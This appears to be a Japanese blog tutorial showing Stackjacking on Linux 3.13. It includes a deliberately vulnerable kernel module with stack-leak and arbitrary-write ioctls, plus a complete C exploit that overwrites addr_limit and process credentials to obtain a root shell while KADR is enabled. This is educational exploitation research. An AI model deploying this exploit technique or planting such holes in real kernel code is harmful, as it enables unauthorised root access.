「Linuxカーネルモジュールでret2usrによる権限昇格をやってみる」では、Kernel Address Display Restriction(KADR)を無効にした上で/proc/kallsymsからカーネルシンボルのアドレスを取得し、カーネル空間からユーザ空間の関数を実行させることにより権限昇格を行った(ret2usr)。
ret2usrはIntel SMEPで防ぐことができるが、SMEPを回避する手法としてStackjackingと呼ばれるものが知られている。
そこで、ここではStackjackingによるSMEP回避をやってみる。
また、StackjackingはSMAPおよびKADRの回避も行うことができるので、合わせてこれらも有効な状況を仮定する。
環境
Ubuntu 14.04.1 LTS 64bit版、Intel SMEP無効
$ uname -a Linux vm-ubuntu64 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ cat /proc/cpuinfo | grep flags flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant_tsc rep_good nopl pni monitor ssse3 lahf_lm
脆弱性のあるカーネルモジュールを書いてみる
Stackjackingは任意アドレス書き換え(arbitrary address write)に加え、カーネルスタック内の任意のアドレスリーク(kernel stack address leak)を必要とする。 カーネルスタックのアドレスリークは主にスタック上の配列や構造体の未初期化メンバの参照により発生する。
そこで、「Linuxカーネルモジュールでret2usrによる権限昇格をやってみる」と同様、話を簡単にするために意図的にarbitrary address writeおよびkernel stack address leakを可能にしたカーネルモジュールを書いてみる。
/* mychardev.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include "mychardev.h"
#define DEVICE_NAME "mychardev"
static int device_open(struct inode *inode, struct file *file)
{
try_module_get(THIS_MODULE);
return 0;
}
static int device_release(struct inode *inode, struct file *file)
{
module_put(THIS_MODULE);
return 0;
}
static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset)
{
return -EINVAL;
}
static ssize_t device_write(struct file *filp, const char *buffer, size_t length, loff_t * offset)
{
return -EINVAL;
}
long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param)
{
unsigned long buf[100];
struct ioctl_sl_arg *sl_arg;
struct ioctl_aaw_arg *aaw_arg;
buf[0] = 0;
switch (ioctl_num) {
case IOCTL_STACK_LEAK:
sl_arg = (struct ioctl_sl_arg *)ioctl_param;
put_user(buf[sl_arg->index], &sl_arg->value);
return 0;
case IOCTL_AAW:
aaw_arg = (struct ioctl_aaw_arg *)ioctl_param;
*(aaw_arg->ptr) = aaw_arg->value;
return 0;
}
return -EINVAL;
}
static struct file_operations fops = {
.open = device_open,
.release = device_release,
.read = device_read,
.write = device_write,
.unlocked_ioctl = device_ioctl,
};
int init_module(void)
{
int ret_val;
ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &fops);
if (ret_val < 0) {
printk(KERN_ALERT "Registering char device failed with %d\n", ret_val);
return ret_val;
}
printk(KERN_INFO "try 'sudo mknod %s c %d 0'\n", DEVICE_FILE_NAME, MAJOR_NUM);
return 0;
}
void cleanup_module(void)
{
unregister_chrdev(MAJOR_NUM, DEVICE_NAME);
}
/* mychardev.h */
#ifndef MYCHARDEV_H
#define MYCHARDEV_H
#include <linux/ioctl.h>
#define MAJOR_NUM 200
#define DEVICE_FILE_NAME "mychardev"
#define IOCTL_STACK_LEAK _IOW(MAJOR_NUM, 0, struct ioctl_sl_arg *)
#define IOCTL_AAW _IOR(MAJOR_NUM, 1, struct ioctl_aaw_arg *)
struct ioctl_sl_arg {
int index;
unsigned long value;
};
struct ioctl_aaw_arg {
unsigned long *ptr;
unsigned long value;
};
#endif
# Makefile obj-m += mychardev.o all: [TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: [TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
上のコードでは、ioctl(2)でIOCTL_STACK_LEAKを呼ぶと、引数に与えたioctl_sl_arg構造体で指定した配列インデックスにある未初期化メモリの値を取得する。
また、IOCTL_AAWを呼ぶと、引数に与えたioctl_aaw_arg構造体で指定したアドレスを指定した値に書き換える。
なお、put_user関数はカーネルモードにおいてユーザ空間にデータを書き込むカーネル関数である。
カーネルモジュールをコンパイル、インストールし、インストールされていることを確認してみる。
$ make make -C /lib/modules/3.13.0-44-generic/build M=/home/user/tmp/mychardev modules make[1]: Entering directory `/usr/src/linux-headers-3.13.0-44-generic' CC [M] /home/user/tmp/mychardev/mychardev.o Building modules, stage 2. MODPOST 1 modules CC /home/user/tmp/mychardev/mychardev.mod.o LD [M] /home/user/tmp/mychardev/mychardev.ko make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-44-generic' $ sudo insmod mychardev.ko $ lsmod Module Size Used by mychardev 12640 0
上の結果から、コンパイルに成功しインストールできていることがわかる。
次に、コード中で出力するようにしておいたカーネルメッセージに従い、キャラクタデバイスを作成する。
$ dmesg | tail [ 15.417627] nf_conntrack version 0.5.0 (7952 buckets, 31808 max) [ 15.780644] init: plymouth-upstart-bridge main process ended, respawning [ 16.650019] aufs 3.13-20140303 [ 17.030365] IPv6: ADDRCONF(NETDEV_UP): docker0: link is not ready [ 17.628478] audit_printk_skb: 90 callbacks suppressed [ 17.628482] type=1400 audit(1427382411.453:42): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="docker-default" pid=1243 comm="apparmor_parser" [ 819.449337] mychardev: module license 'unspecified' taints kernel. [ 819.449340] Disabling lock debugging due to kernel taint [ 819.449365] mychardev: module verification failed: signature and/or required key missing - tainting kernel [ 819.450393] try 'sudo mknod mychardev c 200 0' $ sudo mknod mychardev c 200 0 $ ls -l mychardev crw-r--r-- 1 root root 200, 0 Mar 27 00:21 mychardev
Stackjackingの概要
Stackjackingは、まず取得したカーネルスタック内のアドレスからカーネルスタックのベースアドレスを計算する。
カーネルスタックのベースアドレスは、leaked_addr & ~0x1FFFを計算することにより求めることができる。
カーネルスタックのベースアドレスには、実行中のスレッドに関するthread_info構造体が配置されている。 thread_info構造体の内容は次の通り。
25 struct thread_info {
26 struct task_struct *task; /* main task structure */
27 struct exec_domain *exec_domain; /* execution domain */
28 __u32 flags; /* low level flags */
29 __u32 status; /* thread synchronous flags */
30 __u32 cpu; /* current CPU */
31 int saved_preempt_count;
32 mm_segment_t addr_limit;
33 struct restart_block restart_block;
34 void __user *sysenter_return;
35 #ifdef CONFIG_X86_32
36 unsigned long previous_esp; /* ESP of the previous stack in
37 case of nested (IRQ) stacks
38 */
39 __u8 supervisor_stack[0];
40 #endif
41 unsigned int sig_on_uaccess_error:1;
42 unsigned int uaccess_err:1; /* uaccess failed */
43 };
この構造体のaddr_limitメンバは、ユーザ空間のアドレス上限を示すものであり、通常x86の場合0xc0000000、x64の場合0x7ffffffff000となっている。
この値はカーネルにおいてユーザ空間のプログラムからメモリアクセスを行う際の制限に用いられている。
したがって、この値を書き換えればユーザ空間のプログラムからカーネル空間のアドレスへのアクセスを可能にできる。
addr_limitを書き換えた後は、pipe(2)を通してread/writeを行うことでカーネル空間を含めた任意のアドレスの読み書きを行うことができる。 そこで、次にthread_info構造体の先頭にあるtask_struct構造体を参照する。 task_struct構造体はプロセスに関する各種情報が格納された非常に大きな構造体であるが、ここでは権限情報に関連するreal_credメンバおよびcredメンバに着目する。
1042 struct task_struct {
1043 volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
1044 void *stack;
1045 atomic_t usage;
1046 unsigned int flags; /* per process flags, defined below */
1047 unsigned int ptrace;
1048
(snip)
1191 /* process credentials */
1192 const struct cred __rcu *real_cred; /* objective and real subjective task
1193 * credentials (COW) */
1194 const struct cred __rcu *cred; /* effective (overridable) subjective task
1195 * credentials (COW) */
1196 char comm[TASK_COMM_LEN]; /* executable name excluding path
1197 - access with [gs]et_task_comm (which lock
1198 it with task_lock())
1199 - initialized normally by setup_new_exec */
(snip)
1453 #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
1454 unsigned int sequential_io;
1455 unsigned int sequential_io_avg;
1456 #endif
1457 };
ここで、real_credメンバは他のプロセスから見たプロセスそのものの権限、credメンバは他のプロセスやファイルなどにアクセスする際の権限を表すcred構造体へのポインタである。 cred構造体の内容は次の通り。
79 /*
80 * The security context of a task
81 *
82 * The parts of the context break down into two categories:
83 *
84 * (1) The objective context of a task. These parts are used when some other
85 * task is attempting to affect this one.
86 *
87 * (2) The subjective context. These details are used when the task is acting
88 * upon another object, be that a file, a task, a key or whatever.
89 *
90 * Note that some members of this structure belong to both categories - the
91 * LSM security pointer for instance.
92 *
93 * A task has two security pointers. task->real_cred points to the objective
94 * context that defines that task's actual details. The objective part of this
95 * context is used whenever that task is acted upon.
96 *
97 * task->cred points to the subjective context that defines the details of how
98 * that task is going to act upon another object. This may be overridden
99 * temporarily to point to another security context, but normally points to the
100 * same context as task->real_cred.
101 */
102 struct cred {
103 atomic_t usage;
104 #ifdef CONFIG_DEBUG_CREDENTIALS
105 atomic_t subscribers; /* number of processes subscribed */
106 void *put_addr;
107 unsigned magic;
108 #define CRED_MAGIC 0x43736564
109 #define CRED_MAGIC_DEAD 0x44656144
110 #endif
111 kuid_t uid; /* real UID of the task */
112 kgid_t gid; /* real GID of the task */
113 kuid_t suid; /* saved UID of the task */
114 kgid_t sgid; /* saved GID of the task */
115 kuid_t euid; /* effective UID of the task */
116 kgid_t egid; /* effective GID of the task */
117 kuid_t fsuid; /* UID for VFS ops */
118 kgid_t fsgid; /* GID for VFS ops */
119 unsigned securebits; /* SUID-less security management */
120 kernel_cap_t cap_inheritable; /* caps our children can inherit */
121 kernel_cap_t cap_permitted; /* caps we're permitted */
122 kernel_cap_t cap_effective; /* caps we can actually use */
123 kernel_cap_t cap_bset; /* capability bounding set */
124 #ifdef CONFIG_KEYS
125 unsigned char jit_keyring; /* default keyring to attach requested
126 * keys to */
127 struct key __rcu *session_keyring; /* keyring inherited over fork */
128 struct key *process_keyring; /* keyring private to this process */
129 struct key *thread_keyring; /* keyring private to this thread */
130 struct key *request_key_auth; /* assumed request_key authority */
131 #endif
132 #ifdef CONFIG_SECURITY
133 void *security; /* subjective LSM security */
134 #endif
135 struct user_struct *user; /* real user ID subscription */
136 struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
137 struct group_info *group_info; /* supplementary groups for euid/fsgid */
138 struct rcu_head rcu; /* RCU deletion hook */
139 };
つまり、この構造体のuidメンバ等一式を0に書き換えることで、root権限への権限昇格を行うことができる。
以上をまとめると次のようになる。
- カーネルスタック内のアドレスを未初期化メンバの参照などにより取得する(kernel stack address leak)
- 取得したアドレスからカーネルスタックのベースアドレスを計算する
- カーネルスタックのベースアドレスにあるthread_info構造体に着目し、addr_limitメンバをarbitrary address writeにより書き換える
- pipe(2)でパイプを作り、以降これを介して任意アドレスへの読み書きを行う
- thread_info構造体の最初のメンバであるtask_struct構造体を参照し、real_credメンバおよびcredメンバを特定する
- real_credメンバおよびcredメンバにあるuid他一式を書き換え、権限昇格を行う
この一連の流れにおいてカーネルモードへの遷移は行われないため、SMEPおよびSMAPを回避できることがわかる。 また、カーネルシンボルのアドレスも利用しないため、KADRが有効な条件下でも動作することがわかる。
エクスプロイトコードを書いてみる
上の内容をもとに、エクスプロイトコードを書くと次のようになる。
/* ioctl.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "mychardev.h"
#define KSTACKBASE 0xffff880000000000
#define KSTACKTOP 0xffff8800c0000000
#define KERNELBASE 0xffff880000000000
int pipefd[2];
int is_kernel_stack(unsigned long value)
{
return (KSTACKBASE <= value && value < KSTACKTOP);
}
int is_kernel_pointer(void *ptr)
{
unsigned long value = (unsigned long)ptr;
return (KERNELBASE <= value);
}
int kmemcpy(void *dest, void *src, size_t size)
{
write(pipefd[1], src, size);
read(pipefd[0], dest, size);
return size;
}
int main()
{
int fd;
int ret_val;
struct ioctl_sl_arg sl_arg;
struct ioctl_aaw_arg aaw_arg;
/* open the vulnerable device */
fd = open(DEVICE_FILE_NAME, 0);
if (fd < 0) {
printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
exit(1);
}
puts("[*] leak kernel stack values");
sl_arg.index = 0;
sl_arg.value = 0;
while (!is_kernel_stack(sl_arg.value)) {
ret_val = ioctl(fd, IOCTL_STACK_LEAK, &sl_arg);
if (ret_val < 0) {
printf("ioctl failed: %d\n", ret_val);
exit(1);
}
printf("%lx\n", sl_arg.value);
sl_arg.index++;
}
void *kstack = (void *)(sl_arg.value & ~0x1fff);
printf("[+] kernel stack address = %p\n", kstack);
puts("[*] overwrite thread_info->addr_limit");
void *addr_limit = kstack + sizeof(void *)*2 + sizeof(int)*4;
aaw_arg.ptr = addr_limit;
aaw_arg.value = -1UL;
ret_val = ioctl(fd, IOCTL_AAW, &aaw_arg);
if (ret_val < 0) {
printf("ioctl failed: %d\n", ret_val);
exit(1);
}
close(fd);
ret_val = pipe(pipefd);
if (ret_val < 0) {
printf("pipe failed: %d\n", ret_val);
exit(1);
}
void *task_struct;
kmemcpy(&task_struct, kstack, sizeof(void *));
printf("[+] task_struct = %p\n", task_struct);
void *real_cred;
void *cred;
unsigned int uid;
puts("[*] seek task_struct->real_cred");
while (1) {
task_struct += sizeof(void *);
kmemcpy(&real_cred, task_struct, sizeof(void *));
if (!is_kernel_pointer(real_cred)) {
printf("%p -> %p\n", task_struct, real_cred);
continue;
}
kmemcpy(&uid, real_cred + sizeof(unsigned int), sizeof(unsigned int));
printf("%p -> %p -> %u\n", task_struct, real_cred, uid);
if (getuid() == uid) {
cred = task_struct + sizeof(void *);
break;
}
}
printf("[+] task_struct->real_cred = %p\n", real_cred);
printf("[+] task_struct->cred = %p\n", cred);
printf("[+] task_struct->real_cred->uid = %d\n", uid);
puts("[*] overwrite task_struct->real_cred members");
unsigned int zeroarray[8] = {};
kmemcpy(real_cred + 4, &zeroarray, sizeof(zeroarray));
kmemcpy(&uid, real_cred + sizeof(unsigned int), sizeof(unsigned int));
printf("[+] task_struct->real_cred->uid = %d\n", uid);
puts("[*] overwrite task_struct->cred as the same as real_cred");
kmemcpy(cred, &real_cred, sizeof(void *));
kmemcpy(&cred, cred, sizeof(void *));
printf("[+] task_struct->cred = %p\n", cred);
printf("[+] getuid() = %d\n", getuid());
execl("/bin/sh", "sh", NULL);
}
ここで、is_kernel_stack関数およびis_kernel_pointer関数はアドレスの値をもとにスタックアドレス、カーネル空間内のアドレスかどうかを判定する関数である。
また、kmemcpy関数はあらかじめ作っておいたパイプを介してアドレスの読み書きを行う関数である。
コードの内容を簡単にまとめると次のようになる。
- 脆弱性のあるキャラクタデバイスを開き、kernel address stack leakによりスタックアドレスを指すポインタを探す
- 発見したポインタからカーネルスタックのベースアドレスを計算する
- arbitrary address writeにより、ベースアドレスにあるthread_info構造体のaddr_limitメンバを
-1UL(0xffffffffffffffff)に書き換える kmemcpy関数で使うパイプを作る- thread_info構造体の最初のメンバであるtask_struct構造体のアドレスを読み出す
- task_struct構造体から、real_credメンバおよびcredメンバを探す
- real_credメンバのuid他一式をすべて0で書き換える
- credメンバが保持するポインタを、real_credメンバと同じcred構造体を指すように書き換える
- 権限昇格が行われた状態でシェルを起動する
実際にエクスプロイトコードを実行する前に、KADRを有効にしておく。
$ sudo sysctl -w kernel.kptr_restrict=1 kernel.kptr_restrict = 1 $ cat /proc/kallsyms | head 0000000000000000 D irq_stack_union 0000000000000000 D __per_cpu_start 0000000000000000 d exception_stacks 0000000000000000 D gdt_page 0000000000000000 D cpu_llc_shared_map 0000000000000000 D cpu_core_map 0000000000000000 D cpu_sibling_map 0000000000000000 D cpu_llc_id 0000000000000000 D cpu_number 0000000000000000 D x86_bios_cpu_apicid
$ gcc ioctl.c $ ./a.out [*] leak kernel stack values 0 ffffffff8109ec18 ffff88003d3f9bf0 [+] kernel stack address = 0xffff88003d3f8000 [*] overwrite thread_info->addr_limit [+] task_struct = 0xffff88003b1547d0 [*] seek task_struct->real_cred 0xffff88003b1547d8 -> 0xffff88003d3f8000 -> 4294936576 0xffff88003b1547e0 -> 0x40600000000002 0xffff88003b1547e8 -> (nil) 0xffff88003b1547f0 -> (nil) (snip) 0xffff88003b154c50 -> 0xffff88003b154c48 -> 4294936576 0xffff88003b154c58 -> 0xffff88003b154c58 -> 4294936576 0xffff88003b154c60 -> 0xffff88003b154c58 -> 4294936576 0xffff88003b154c68 -> 0xffff88003a05ff00 -> 1000 [+] task_struct->real_cred = 0xffff88003a05ff00 [+] task_struct->cred = 0xffff88003b154c70 [+] task_struct->real_cred->uid = 1000 [*] overwrite task_struct->real_cred members [+] task_struct->real_cred->uid = 0 [*] overwrite task_struct->cred as the same as real_cred [+] task_struct->cred = 0xffff88003a05ff00 [+] getuid() = 0 # id uid=0(root) gid=0(root) groups=0(root) #
SMEP、SMAPについては未検証であるが、KADRが有効な条件下でrootシェルが起動できていることが確認できた。
カーネルモジュールをアンインストールする
$ sudo rmmod mychardev.ko
PaXによる対策とTowelroot
StackjackingはもともとUDEREFをはじめとするPaXのバイパス手法として公表されたものであり、現在のPaXにおいてはthread_info構造体をtask_struct構造体の中に移動することで対策されている(参考)。
また、Android 4.4.2以前で有効なTowelrootと呼ばれるroot化手法は、CVE-2014-3153(Linuxカーネルにおけるfutex_requeueの脆弱性)を用いStackjackingを行うことで権限昇格するものである。
関連リンク
- jon.oberheide.org - blog - stackjacking your way to grsec/pax bypass
- SIMPLE IS BETTER: Is this a good security design in Linux kernel? -- connections between thread_info and kernel stack
- SMEP: What is It, and How to Beat It on Linux - It's Bugs All the Way Down
- RCUの全面書き直しも! 2.6.29は何が変わった?(2/2) - @IT
- Exploiting the Futex Bug and uncovering Towelroot | Tinyhack.com
- CVE-2014-3153 aka towelroot